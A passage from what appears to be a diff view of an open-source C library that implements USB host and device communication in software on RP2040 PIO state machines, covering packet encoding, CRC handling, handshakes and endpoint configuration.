pio_usb_bus_usb_transfer(pp, packet_encoded, encoded_len);
}
void __no_inline_not_in_flash_func(pio_usb_bus_prepare_receive)(const pio_port_t *pp) {
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false);
pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx);
pio_sm_restart(pp->pio_usb_rx, pp->sm_rx);
pio_sm_exec(pp->pio_usb_rx, pp->sm_rx, pp->rx_reset_instr);
pio_sm_exec(pp->pio_usb_rx, pp->sm_rx, pp->rx_reset_instr2);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, true);
}
static inline __force_inline bool pio_usb_bus_wait_for_rx_start(const pio_port_t* pp) {
// USB 2.0 specs: 7.1.19.1: handshake timeout
// Full-Speed (12 Mbps): 1 bit time = 1 / 12 MHz = 83.3 ns --> 16 bit times = 1.33 µs
// Low-Speed (1.5 Mbps): 1 bit time = 1 / 1.5 MHz = 666.7 ns --> 16 bit times = 10.67 µs
// We're starting the timing somewhere in the current microsecond so always assume the first one
// is less than a full microsecond. For example, a wait of 2 could actually be 1.1 microseconds.
// We will use 3 us (24 bit time) for Full speed and 12us (18 bit time) for Low speed.
uint32_t start = get_time_us_32();
uint32_t timeout = pp->low_speed ? 12 : 3;
while (get_time_us_32() - start <= timeout) {
if ((pp->pio_usb_rx->irq & IRQ_RX_START_MASK) != 0) {
return true;
}
}
return false;
};
uint8_t __no_inline_not_in_flash_func(pio_usb_bus_wait_handshake)(pio_port_t* pp) {
if (!pio_usb_bus_wait_for_rx_start(pp)) {
return 0;
}
int16_t idx = 0;
// Timeout in seven microseconds. That is enough time to receive one byte at low speed.
// This is to detect packets without an EOP because the device was unplugged.
uint32_t start = get_time_us_32();
while (get_time_us_32() - start <= 7) {
if (idx < 2 && pio_sm_get_rx_fifo_level(pp->pio_usb_rx, pp->sm_rx)) {
uint8_t data = pio_sm_get(pp->pio_usb_rx, pp->sm_rx) >> 24;
pp->usb_rx_buffer[idx++] = data;
start = get_time_us_32(); // reset timeout when a byte is received
} else if ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) != 0) {
break; // exit if we've gotten an EOP
}
}
if (idx != 2 || pp->usb_rx_buffer[0] != USB_SYNC) {
return 0; // invalid handshake
}
return pp->usb_rx_buffer[1];
}
int __no_inline_not_in_flash_func(pio_usb_bus_receive_packet_and_handshake)(
pio_port_t *pp, uint8_t handshake) {
uint16_t crc = 0xffff;
uint16_t crc_prev = 0xffff;
uint16_t crc_prev2 = 0xffff;
uint16_t crc_receive = 0xffff;
bool crc_match = false;
const uint16_t rx_buf_len = sizeof(pp->usb_rx_buffer) / sizeof(pp->usb_rx_buffer[0]);
int16_t idx = 0;
// Per USB Specs 7.1.18 for turnaround: We must wait at least 2 bit times for inter-packet delay.
// This is essential for working with LS device specially when we overlocked the mcu.
// Pre-calculate number of cycle per bit time
// - Lowspeed: 1 bit time = (cpufreq / 1.5 Mhz) = clk_div_ls_tx.div_int*6Mhz / 1.5 Mhz = 4 * clk_div_ls_tx.div_int
// - Fullspeed 1 bit time = (cpufreq / 12 Mhz) = clk_div_fs_tx.div_int*48Mhz / 12 Mhz = 4 * clk_div_fs_tx.div_int
// Since there is also overhead, we only wait 1.5 bit for LS and no wait for FS
uint32_t turnaround_in_cycle = 0;
if (pp->low_speed) {
turnaround_in_cycle = 6 * pp->clk_div_ls_tx.div_int; // 1.5 bit time
}
if (!pio_usb_bus_wait_for_rx_start(pp)) {
return -1;
}
// Timing Critical: use local variable to reduce de-reference
PIO pio_usb_rx = pp->pio_usb_rx;
uint sm_rx = pp->sm_rx;
uint8_t *usb_rx_buffer = pp->usb_rx_buffer;
// Timeout in seven microseconds. That is enough time to receive one byte at low speed.
// This is to detect packets without an EOP because the device was unplugged.
uint32_t start = get_time_us_32();
while (1) {
if (pio_sm_get_rx_fifo_level(pio_usb_rx, sm_rx)) {
uint8_t data = pio_sm_get(pio_usb_rx, sm_rx) >> 24;
if (idx < rx_buf_len) {
usb_rx_buffer[idx] = data;
}
start = get_time_us_32(); // reset timeout when a byte is received
if (idx >= 2) {
crc_prev2 = crc_prev;
crc_prev = crc;
crc = update_usb_crc16(crc, data);
crc_receive = (crc_receive >> 8) | (data << 8);
crc_match = ((crc_receive ^ 0xffff) == crc_prev2);
}
idx++;
} else if ((pio_usb_rx->irq & IRQ_RX_COMP_MASK) != 0) {
// Exit since we've gotten an EOP.
// Timing critical: per USB specs, handshake must be sent within 2-7 bit-time strictly
if (turnaround_in_cycle) {
busy_wait_at_least_cycles(turnaround_in_cycle); // wait for turnaround for LS only
}
if (handshake == USB_PID_ACK) {
// Only ACK if crc matches
if (idx >= 4 && crc_match) {
pio_usb_bus_usb_transfer(pp, ack_encoded, 5);
return idx - 4;
}
} else if (handshake == USB_PID_NAK) {
pio_usb_bus_usb_transfer(pp, nak_encoded, 5);
} else {
pio_usb_bus_usb_transfer(pp, stall_encoded, 5);
}
break;
} else if (get_time_us_32() - start > 7) {
return -1; // device is probably unplugged
}
}
return -1;
}
static __always_inline void add_pio_host_rx_program(PIO pio,
const pio_program_t *program,
const pio_program_t *debug_program,
uint *offset, int debug_pin) {
if (debug_pin < 0) {
*offset = pio_add_program(pio, program);
} else {
*offset = pio_add_program(pio, debug_program);
}
}
static void __no_inline_not_in_flash_func(initialize_host_programs)(
pio_port_t *pp, const pio_usb_configuration_t *c, root_port_t *port) {
// TX program should be placed at address 0
pio_add_program_at_offset(pp->pio_usb_tx, pp->fs_tx_program, 0);
pp->offset_tx = 0;
usb_tx_fs_program_init(pp->pio_usb_tx, pp->sm_tx, pp->offset_tx, port->pin_dp,
port->pin_dm);
uint32_t sideset_fj_lk;
if (c->pinout == PIO_USB_PINOUT_DPDM) {
sideset_fj_lk = pio_encode_sideset(2, usb_tx_dpdm_FJ_LK);
} else {
sideset_fj_lk = pio_encode_sideset(2, usb_tx_dmdp_FJ_LK);
}
pp->tx_start_instr = pio_encode_jmp(pp->offset_tx + 4) | sideset_fj_lk;
pp->tx_reset_instr = pio_encode_jmp(pp->offset_tx + 2) | sideset_fj_lk;
add_pio_host_rx_program(pp->pio_usb_rx, &usb_nrzi_decoder_program,
&usb_nrzi_decoder_debug_program, &pp->offset_rx,
c->debug_pin_rx);
usb_rx_fs_program_init(pp->pio_usb_rx, pp->sm_rx, pp->offset_rx, port->pin_dp,
port->pin_dm, c->debug_pin_rx);
pp->rx_reset_instr = pio_encode_jmp(pp->offset_rx);
pp->rx_reset_instr2 = pio_encode_set(pio_x, 0);
add_pio_host_rx_program(pp->pio_usb_rx, &usb_edge_detector_program,
&usb_edge_detector_debug_program, &pp->offset_eop,
c->debug_pin_eop);
eop_detect_fs_program_init(pp->pio_usb_rx, c->sm_eop, pp->offset_eop,
port->pin_dp, port->pin_dm, true,
c->debug_pin_eop);
usb_tx_configure_pins(pp->pio_usb_tx, pp->sm_tx, port->pin_dp, port->pin_dm);
pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_rx, port->pin_dp);
pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_eop, port->pin_dm);
pio_sm_set_in_pins(pp->pio_usb_rx, pp->sm_eop, port->pin_dp);
}
static void configure_tx_channel(uint8_t ch, PIO pio, uint sm) {
dma_channel_config conf = dma_channel_get_default_config(ch);
channel_config_set_read_increment(&conf, true);
channel_config_set_write_increment(&conf, false);
channel_config_set_transfer_data_size(&conf, DMA_SIZE_8);
channel_config_set_dreq(&conf, pio_get_dreq(pio, sm, true));
dma_channel_set_config(ch, &conf, false);
dma_channel_set_write_addr(ch, &pio->txf[sm], false);
}
static void apply_config(pio_port_t *pp, const pio_usb_configuration_t *c,
root_port_t *port) {
pp->pio_usb_tx = pio_get_instance(c->pio_tx_num);
pp->sm_tx = c->sm_tx;
pp->tx_ch = c->tx_ch;
pp->pio_usb_rx = pio_get_instance(c->pio_rx_num);
pp->sm_rx = c->sm_rx;
pp->sm_eop = c->sm_eop;
port->pin_dp = c->pin_dp;
uint highest_pin;
if (c->pinout == PIO_USB_PINOUT_DPDM) {
port->pin_dm = c->pin_dp + 1;
highest_pin = port->pin_dm;
pp->fs_tx_program = &usb_tx_dpdm_program;
pp->fs_tx_pre_program = &usb_tx_pre_dpdm_program;
pp->ls_tx_program = &usb_tx_dmdp_program;
} else {
port->pin_dm = c->pin_dp - 1;
highest_pin = port->pin_dp;
pp->fs_tx_program = &usb_tx_dmdp_program;
pp->fs_tx_pre_program = &usb_tx_pre_dmdp_program;
pp->ls_tx_program = &usb_tx_dpdm_program;
}
#if defined(PICO_PIO_USE_GPIO_BASE) && PICO_PIO_USE_GPIO_BASE+0
if (highest_pin > 32) {
pio_set_gpio_base(pp->pio_usb_tx, 16);
pio_set_gpio_base(pp->pio_usb_rx, 16);
}
#else
(void)highest_pin;
#endif
port->pinout = c->pinout;
pp->debug_pin_rx = c->debug_pin_rx;
pp->debug_pin_eop = c->debug_pin_eop;
pio_sm_claim(pp->pio_usb_tx, pp->sm_tx);
pio_sm_claim(pp->pio_usb_rx, pp->sm_rx);
pio_sm_claim(pp->pio_usb_rx, pp->sm_eop);
}
static void port_pin_drive_setting(const root_port_t *port) {
gpio_set_slew_rate(port->pin_dp, GPIO_SLEW_RATE_FAST);
gpio_set_slew_rate(port->pin_dm, GPIO_SLEW_RATE_FAST);
gpio_set_drive_strength(port->pin_dp, GPIO_DRIVE_STRENGTH_12MA);
gpio_set_drive_strength(port->pin_dm, GPIO_DRIVE_STRENGTH_12MA);
}
void pio_usb_bus_init(pio_port_t *pp, const pio_usb_configuration_t *c,
root_port_t *root) {
memset(root, 0, sizeof(root_port_t));
pp->pio_usb_tx = pio_get_instance(c->pio_tx_num);
dma_claim_mask(1<<c->tx_ch);
configure_tx_channel(c->tx_ch, pp->pio_usb_tx, c->sm_tx);
apply_config(pp, c, root);
initialize_host_programs(pp, c, root);
port_pin_drive_setting(root);
root->initialized = true;
root->dev_addr = 0;
// pre-encode handshake packets
uint8_t raw_packet[] = {USB_SYNC, USB_PID_ACK};
pio_usb_ll_encode_tx_data(raw_packet, 2, ack_encoded);
raw_packet[1] = USB_PID_NAK;
pio_usb_ll_encode_tx_data(raw_packet, 2, nak_encoded);
raw_packet[1] = USB_PID_STALL;
pio_usb_ll_encode_tx_data(raw_packet, 2, stall_encoded);
raw_packet[1] = USB_PID_PRE;
pio_usb_ll_encode_tx_data(raw_packet, 2, pre_encoded);
}
//--------------------------------------------------------------------+
// Application API
//--------------------------------------------------------------------+
endpoint_t *pio_usb_get_endpoint(usb_device_t *device, uint8_t idx) {
uint8_t ep_id = device->endpoint_id[idx];
if (ep_id == 0) {
return NULL;
} else if (ep_id >= 1) {
return &pio_usb_ep_pool[ep_id - 1];
}
return NULL;
}
int __no_inline_not_in_flash_func(pio_usb_get_in_data)(endpoint_t *ep,
uint8_t *buffer,
uint8_t len) {
if (ep->has_transfer || ep->is_tx) {
return -1;
}
if (ep->new_data_flag) {
len = len < ep->actual_len ? len : ep->actual_len;
memcpy(buffer, (void *)ep->buffer, len);
ep->new_data_flag = false;
return pio_usb_ll_transfer_start(ep, ep->buffer, ep->size) ? len : -1;
}
return -1;
}
int __no_inline_not_in_flash_func(pio_usb_set_out_data)(endpoint_t *ep,
const uint8_t *buffer,
uint8_t len) {
if (ep->has_transfer || !ep->is_tx) {
return -1;
}
return pio_usb_ll_transfer_start(ep, (uint8_t *)buffer, len) ? 0 : -1;
}
//--------------------------------------------------------------------+
// Low Level Function
//--------------------------------------------------------------------+
void __no_inline_not_in_flash_func(pio_usb_ll_configure_endpoint)(
endpoint_t *ep, uint8_t const *desc_endpoint) {
const endpoint_descriptor_t *d = (const endpoint_descriptor_t *)desc_endpoint;
ep->size = d->max_size[0] | (d->max_size[1] << 8);
ep->ep_num = d->epaddr;
ep->attr = d->attr;
ep->interval = d->interval;
ep->interval_counter = 0;
ep->data_id = 0;
}
// Encode transfer data to 2bit sequence represents TX PIO instruction address
uint8_t __no_inline_not_in_flash_func(pio_usb_ll_encode_tx_data)(
uint8_t const *buffer, uint8_t buffer_len, uint8_t *encoded_data) {
uint16_t bit_idx = 0;
int current_state = 1;
int bit_stuffing = 6;
for (int idx = 0; idx < buffer_len; idx++) {
uint8_t data_byte = buffer[idx];
for (int b = 0; b < 8; b++) {
uint8_t byte_idx = bit_idx >> 2;
encoded_data[byte_idx] <<= 2;
if (data_byte & (1 << b)) {
if (current_state) {
encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_K;
} else {
encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_J;
}
bit_stuffing--;
} else {
if (current_state) {
encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_J;
current_state = 0;
} else {
encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_K;
current_state = 1;
}
bit_stuffing = 6;
}
bit_idx++;
if (bit_stuffing == 0) {
byte_idx = bit_idx >> 2;
encoded_data[byte_idx] <<= 2;
if (current_state) {
encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_J;
current_state = 0;
} else {
encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_K;
current_state = 1;
}
bit_stuffing = 6;
bit_idx++;
}
}
}
uint8_t byte_idx = bit_idx >> 2;
encoded_data[byte_idx] <<= 2;
encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_SE0;
bit_idx++;
byte_idx = bit_idx >> 2;
encoded_data[byte_idx] <<= 2;
encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_COMP;
bit_idx++;
// terminate buffers with K
do {
byte_idx = bit_idx >> 2;
encoded_data[byte_idx] <<= 2;
encoded_data[byte_idx] |= PIO_USB_TX_ENCODED_DATA_K;
bit_idx++;
} while (bit_idx & 0x03);
byte_idx = bit_idx >> 2;
return byte_idx;
}
static inline __force_inline void prepare_tx_data(endpoint_t *ep) {
uint16_t const xact_len = pio_usb_ll_get_transaction_len(ep);
uint8_t buffer[PIO_USB_EP_SIZE + 4];
buffer[0] = USB_SYNC;
buffer[1] = (ep->data_id == 1) ? USB_PID_DATA1
: USB_PID_DATA0; // USB_PID_SETUP also DATA0
memcpy(buffer + 2, ep->app_buf, xact_len);
uint16_t const crc16 = calc_usb_crc16(ep->app_buf, xact_len);
buffer[2 + xact_len] = crc16 & 0xff;
buffer[2 + xact_len + 1] = crc16 >> 8;
ep->encoded_data_len =
pio_usb_ll_encode_tx_data(buffer, xact_len + 4, ep->buffer);
}
bool __no_inline_not_in_flash_func(pio_usb_ll_transfer_start)(endpoint_t *ep,
uint8_t *buffer,
uint16_t buflen) {
if (ep->has_transfer) {
return false;
}
ep->app_buf = buffer;
ep->total_len = buflen;
ep->actual_len = 0;
ep->failed_count = 0;
if (ep->is_tx) {
prepare_tx_data(ep);
} else {
ep->new_data_flag = false;
}
ep->transfer_started = false;
ep->transfer_aborted = false;
ep->has_transfer = true;
return true;
}
bool __no_inline_not_in_flash_func(pio_usb_ll_transfer_continue)(
endpoint_t *ep, uint16_t xferred_bytes) {
ep->app_buf += xferred_bytes;
ep->actual_len += xferred_bytes;
ep->data_id ^= 1;
if ((xferred_bytes < ep->size) || (ep->actual_len >= ep->total_len)) {
// complete if all bytes transferred or short packet
pio_usb_ll_transfer_complete(ep, PIO_USB_INTS_ENDPOINT_COMPLETE_BITS);
return false;
} else {
if (ep->is_tx) {
prepare_tx_data(ep);
}
return true;
}
}
void __no_inline_not_in_flash_func(pio_usb_ll_transfer_complete)(
endpoint_t *ep, uint32_t flag) {
root_port_t *rport = PIO_USB_ROOT_PORT(ep->root_idx);
uint32_t const ep_mask = (1u << (ep - pio_usb_ep_pool));
rport->ints |= flag;
if (flag == PIO_USB_INTS_ENDPOINT_COMPLETE_BITS) {
rport->ep_complete |= ep_mask;
if (!ep->is_tx) {
ep->new_data_flag = true;
}
} else if (flag == PIO_USB_INTS_ENDPOINT_ERROR_BITS) {
rport->ep_error |= ep_mask;
} else if (flag == PIO_USB_INTS_ENDPOINT_STALLED_BITS) {
rport->ep_stalled |= ep_mask;
} else {
// something wrong
}
ep->has_transfer = false;
}
int pio_usb_host_add_port(uint8_t pin_dp, PIO_USB_PINOUT pinout) {
for (int idx = 0; idx < PIO_USB_ROOT_PORT_CNT; idx++) {
root_port_t *root = PIO_USB_ROOT_PORT(idx);
if (!root->initialized) {
root->pin_dp = pin_dp;
if (pinout == PIO_USB_PINOUT_DPDM) {
root->pin_dm = pin_dp + 1;
} else {
root->pin_dm = pin_dp - 1;
}
root->pinout = pinout;
gpio_pull_down(pin_dp);
gpio_pull_down(root->pin_dm);
pio_gpio_init(pio_port[0].pio_usb_tx, pin_dp);
pio_gpio_init(pio_port[0].pio_usb_tx, root->pin_dm);
gpio_set_inover(pin_dp, GPIO_OVERRIDE_INVERT);
gpio_set_inover(root->pin_dm, GPIO_OVERRIDE_INVERT);
pio_sm_set_pindirs_with_mask64(pio_port[0].pio_usb_tx, pio_port[0].sm_tx, 0,
(1ull << pin_dp) | (1ull << root->pin_dm));
port_pin_drive_setting(root);
root->initialized = true;
return 0;
}
}
return -1;
}
#pragma GCC pop_options
+34
View File
@@ -0,0 +1,34 @@
#pragma once
#include "pio_usb_configuration.h"
#include "usb_definitions.h"
#ifdef __cplusplus
extern "C" {
#endif
// Host functions
usb_device_t *pio_usb_host_init(const pio_usb_configuration_t *c);
int pio_usb_host_add_port(uint8_t pin_dp, PIO_USB_PINOUT pinout);
void pio_usb_host_task(void);
void pio_usb_host_stop(void);
void pio_usb_host_restart(void);
uint32_t pio_usb_host_get_frame_number(void);
// Call this every 1ms when skip_alarm_pool is true.
void pio_usb_host_frame(void);
// Device functions
usb_device_t *pio_usb_device_init(const pio_usb_configuration_t *c,
const usb_descriptor_buffers_t *buffers);
void pio_usb_device_task(void);
// Common functions
endpoint_t *pio_usb_get_endpoint(usb_device_t *device, uint8_t idx);
int pio_usb_get_in_data(endpoint_t *ep, uint8_t *buffer, uint8_t len);
int pio_usb_set_out_data(endpoint_t *ep, const uint8_t *buffer, uint8_t len);
#ifdef __cplusplus
}
#endif
+52
View File
@@ -0,0 +1,52 @@
#pragma once
typedef enum {
PIO_USB_PINOUT_DPDM = 0, // DM = DP+1
PIO_USB_PINOUT_DMDP, // DM = DP-1
} PIO_USB_PINOUT;
typedef struct {
uint8_t pin_dp;
uint8_t pio_tx_num;
uint8_t sm_tx;
uint8_t tx_ch;
uint8_t pio_rx_num;
uint8_t sm_rx;
uint8_t sm_eop;
void* alarm_pool;
int8_t debug_pin_rx;
int8_t debug_pin_eop;
bool skip_alarm_pool;
PIO_USB_PINOUT pinout;
} pio_usb_configuration_t;
#ifndef PIO_USB_DP_PIN_DEFAULT
#define PIO_USB_DP_PIN_DEFAULT 0
#endif
#define PIO_USB_TX_DEFAULT 0
#define PIO_SM_USB_TX_DEFAULT 0
#define PIO_USB_DMA_TX_DEFAULT 0
#define PIO_USB_RX_DEFAULT 0
#define PIO_SM_USB_RX_DEFAULT 1
#define PIO_SM_USB_EOP_DEFAULT 2
#define PIO_USB_DEBUG_PIN_NONE (-1)
#define PIO_USB_DEFAULT_CONFIG \
{ \
PIO_USB_DP_PIN_DEFAULT, PIO_USB_TX_DEFAULT, PIO_SM_USB_TX_DEFAULT, \
PIO_USB_DMA_TX_DEFAULT, PIO_USB_RX_DEFAULT, PIO_SM_USB_RX_DEFAULT, \
PIO_SM_USB_EOP_DEFAULT, NULL, PIO_USB_DEBUG_PIN_NONE, \
PIO_USB_DEBUG_PIN_NONE, false, PIO_USB_PINOUT_DPDM \
}
#define PIO_USB_EP_POOL_CNT 32
#define PIO_USB_DEV_EP_CNT 16
#define PIO_USB_DEVICE_CNT 4
#define PIO_USB_HUB_PORT_CNT 8
#define PIO_USB_ROOT_PORT_CNT 2
#define PIO_USB_EP_SIZE 64
+570
View File
@@ -0,0 +1,570 @@
/**
* Copyright (c) 2021 sekigon-gonnoc
* Ha Thach (thach@tinyusb.org)
*/
#pragma GCC push_options
#pragma GCC optimize("-O3")
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include "pio_usb.h"
#include "pio_usb_ll.h"
#include "usb_crc.h"
#include "usb_rx.pio.h"
#include "usb_tx.pio.h"
#include "hardware/dma.h"
#include "hardware/irq.h"
#include "hardware/gpio.h"
#include "hardware/pio.h"
static uint8_t new_devaddr = 0;
static uint8_t ep0_crc5_lut[16];
static __unused usb_descriptor_buffers_t descriptor_buffers;
static uint8_t nak_encoded[5];
static uint8_t stall_encoded[5];
static void __no_inline_not_in_flash_func(update_ep0_crc5_lut)(uint8_t addr) {
uint16_t dat;
uint8_t crc;
for (int epnum = 0; epnum < 16; epnum++) {
dat = (addr) | (epnum << 7);
crc = calc_usb_crc5(dat);
ep0_crc5_lut[epnum] = (crc << 3) | ((epnum >> 1) & 0x07);
}
}
static __always_inline void restart_usb_receiver(pio_port_t *pp) {
pio_sm_exec(pp->pio_usb_rx, pp->sm_rx, pp->rx_reset_instr2);
pio_sm_restart(pp->pio_usb_rx, pp->sm_rx);
pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK;
}
static __always_inline uint8_t device_receive_token(void) {
pio_port_t *pp = PIO_USB_PIO_PORT(0);
uint8_t idx = 0;
uint8_t buffer[2];
if ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) {
while ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) {
if (pio_sm_get_rx_fifo_level(pp->pio_usb_rx, pp->sm_rx)) {
buffer[idx++] = pio_sm_get(pp->pio_usb_rx, pp->sm_rx) >> 24;
if (idx == 2) {
return buffer[1];
}
}
}
} else {
// host is probably timeout. Ignore this packets.
pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx);
}
return 0;
}
static __always_inline int8_t device_receive_ep_address(uint8_t token,
uint8_t dev_addr) {
pio_port_t *pp = PIO_USB_PIO_PORT(0);
uint8_t idx = 0;
uint8_t addr;
uint8_t ep;
uint8_t ep_num = 0;
uint8_t buffer[3];
bool match = false;
static uint8_t eplut[2][8] = {{0, 2, 4, 6, 8, 10, 12, 14},
{1, 3, 5, 7, 9, 11, 13, 15}};
uint8_t *current_lut;
if ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) {
while ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) {
if (pio_sm_get_rx_fifo_level(pp->pio_usb_rx, pp->sm_rx)) {
buffer[idx++] = pio_sm_get(pp->pio_usb_rx, pp->sm_rx) >> 24;
if ((idx == 1) && (token != USB_PID_SOF)) {
addr = buffer[0] & 0x7f;
current_lut = &eplut[buffer[0] >> 7][0];
match = dev_addr == addr ? true : false;
} else if (idx == 2) {
ep_num = buffer[1];
break;
}
}
}
} else {
// host is probably timeout. Ignore this packets.
pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx);
}
if (match) {
ep = current_lut[ep_num & 0x07];
if (ep0_crc5_lut[ep] == ep_num) {
return ep;
} else {
return -1;
}
}
return -1;
}
static __always_inline void wait_receive_complete(pio_port_t *pp) {
while ((pp->pio_usb_rx->irq & IRQ_RX_COMP_MASK) == 0) {
continue;
}
pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx);
}
static void __no_inline_not_in_flash_func(usb_device_packet_handler)(void) {
pio_port_t *pp = PIO_USB_PIO_PORT(0);
root_port_t *rport = PIO_USB_ROOT_PORT(0);
gpio_clr_mask(1<<3);
//
// time critical start
//
uint8_t addr = rport->dev_addr;
uint8_t token = device_receive_token();
if (token == USB_PID_IN) {
int8_t ep_num = device_receive_ep_address(token, addr);
if (ep_num < 0) {
gpio_set_mask(1 << 3);
return;
}
endpoint_t *ep = PIO_USB_ENDPOINT((ep_num << 1) | 0x01);
pio_sm_exec(pp->pio_usb_tx, pp->sm_tx, pp->tx_start_instr);
volatile bool has_transfer = ep->has_transfer;
if (has_transfer) {
dma_channel_transfer_from_buffer_now(pp->tx_ch, ep->buffer, ep->encoded_data_len);
} else if (ep->stalled) {
dma_channel_transfer_from_buffer_now(pp->tx_ch, stall_encoded, sizeof(stall_encoded));
} else {
dma_channel_transfer_from_buffer_now(pp->tx_ch, nak_encoded, sizeof(nak_encoded));
}
pp->pio_usb_tx->irq = IRQ_TX_ALL_MASK; // clear complete flag
while ((pp->pio_usb_tx->irq & IRQ_TX_ALL_MASK) == 0) {
continue;
}
if (has_transfer) {
pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK;
irq_clear(pp->device_rx_irq_num);
pio_usb_bus_start_receive(pp);
// wait for ack
pio_usb_bus_wait_handshake(pp);
pio_usb_bus_start_receive(pp);
irq_clear(pp->device_rx_irq_num);
//
// time critical end
//
if (ep->ep_num == 0x80 && new_devaddr > 0) {
rport->dev_addr = new_devaddr;
new_devaddr = 0;
update_ep0_crc5_lut(rport->dev_addr);
}
rport->ints |= PIO_USB_INTS_ENDPOINT_CONTINUE_BITS;
rport->ep_continue |= (1 << ep_num);
} else {
pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK;
irq_clear(pp->device_rx_irq_num);
restart_usb_receiver(pp);
pio_usb_bus_start_receive(pp);
//
// time critical end
//
}
} else if (token == USB_PID_OUT) {
int8_t ep_num = device_receive_ep_address(token, addr);
wait_receive_complete(pp);
restart_usb_receiver(pp);
if (ep_num < 0) {
return;
}
endpoint_t *ep = PIO_USB_ENDPOINT(ep_num << 1);
gpio_clr_mask(1<<4);
uint8_t handshake = ep->stalled
? USB_PID_STALL
: (ep->has_transfer ? USB_PID_ACK : USB_PID_NAK);
int res = pio_usb_bus_receive_packet_and_handshake(pp, handshake);
pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx);
restart_usb_receiver(pp);
pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK;
irq_clear(pp->device_rx_irq_num);
if (ep->has_transfer) {
if (res >= 0) {
memcpy(ep->app_buf, pp->usb_rx_buffer + 2, res);
pio_usb_ll_transfer_continue(ep, res);
}
}
} else if (token == USB_PID_SETUP) {
int8_t ep_num = device_receive_ep_address(token, addr);
restart_usb_receiver(pp);
if (ep_num < 0) {
return;
}
int res = pio_usb_bus_receive_packet_and_handshake(pp, USB_PID_ACK);
pio_sm_clear_fifos(pp->pio_usb_rx, pp->sm_rx);
restart_usb_receiver(pp);
pp->pio_usb_rx->irq = IRQ_RX_ALL_MASK;
irq_clear(pp->device_rx_irq_num);
if (res >= 0) {
rport->setup_packet = pp->usb_rx_buffer + 2;
rport->ints |= PIO_USB_INTS_SETUP_REQ_BITS;
// DATA1 for both data and status stage
PIO_USB_ENDPOINT(0)->has_transfer = PIO_USB_ENDPOINT(1)->has_transfer = false;
PIO_USB_ENDPOINT(0)->data_id = PIO_USB_ENDPOINT(1)->data_id = 1;
PIO_USB_ENDPOINT(0)->stalled = PIO_USB_ENDPOINT(1)->stalled = false;
}
} else if (token == USB_PID_SOF) {
// SOF interrupt
device_receive_ep_address(token, addr);
wait_receive_complete(pp);
restart_usb_receiver(pp);
} else {
device_receive_ep_address(token, addr);
wait_receive_complete(pp);
restart_usb_receiver(pp);
}
}
usb_device_t *pio_usb_device_init(const pio_usb_configuration_t *c,
const usb_descriptor_buffers_t *buffers) {
pio_port_t *pp = PIO_USB_PIO_PORT(0);
root_port_t *rport = PIO_USB_ROOT_PORT(0);
usb_device_t *dev = &pio_usb_device[0];
pio_usb_bus_init(pp, c, rport);
gpio_disable_pulls(rport->pin_dp); // needs external pull-up
rport->mode = PIO_USB_MODE_DEVICE;
memset(dev, 0, sizeof(*dev));
for (int i = 0; i < PIO_USB_DEV_EP_CNT; i++) {
dev->endpoint_id[i] = 2 * (i + 1); // only index IN endpoint
}
update_ep0_crc5_lut(rport->dev_addr);
float const cpu_freq = (float)clock_get_hz(clk_sys);
pio_calculate_clkdiv_from_float(cpu_freq / 48000000,
&pp->clk_div_fs_tx.div_int,
&pp->clk_div_fs_tx.div_frac);
pio_calculate_clkdiv_from_float(cpu_freq / 96000000,
&pp->clk_div_fs_rx.div_int,
&pp->clk_div_fs_rx.div_frac);
pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_rx, rport->pin_dp);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, false);
SM_SET_CLKDIV_MAXSPEED(pp->pio_usb_rx, pp->sm_rx);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_rx, true);
pio_sm_set_jmp_pin(pp->pio_usb_rx, pp->sm_eop, rport->pin_dm);
pio_sm_set_in_pins(pp->pio_usb_rx, pp->sm_eop, rport->pin_dp);
pio_sm_set_enabled(pp->pio_usb_rx, pp->sm_eop, false);
SM_SET_CLKDIV(pp->pio_usb_rx, pp->sm_eop, pp->clk_div_fs_rx);
descriptor_buffers = *buffers;
pio_usb_bus_prepare_receive(pp);
// configure PIOx_IRQ_0 to detect packet receive start
pio_set_irqn_source_enabled(pp->pio_usb_rx, 0, pis_interrupt0 + IRQ_RX_START,
true);
pp->device_rx_irq_num = PIO_IRQ_NUM(pp->pio_usb_rx, 0);
irq_set_exclusive_handler(pp->device_rx_irq_num, usb_device_packet_handler);
irq_set_enabled(pp->device_rx_irq_num, true);
// pre-encode handshake packets
uint8_t raw_packet[] = {USB_SYNC, USB_PID_NAK};
pio_usb_ll_encode_tx_data(raw_packet, 2, nak_encoded);
raw_packet[1] = USB_PID_STALL;
pio_usb_ll_encode_tx_data(raw_packet, 2, stall_encoded);
return dev;
}
//--------------------------------------------------------------------+
// Device Controller functions
//--------------------------------------------------------------------+
void pio_usb_device_set_address(uint8_t dev_addr) {
new_devaddr = dev_addr;
}
bool __no_inline_not_in_flash_func(pio_usb_device_endpoint_open)(
uint8_t const *desc_endpoint) {
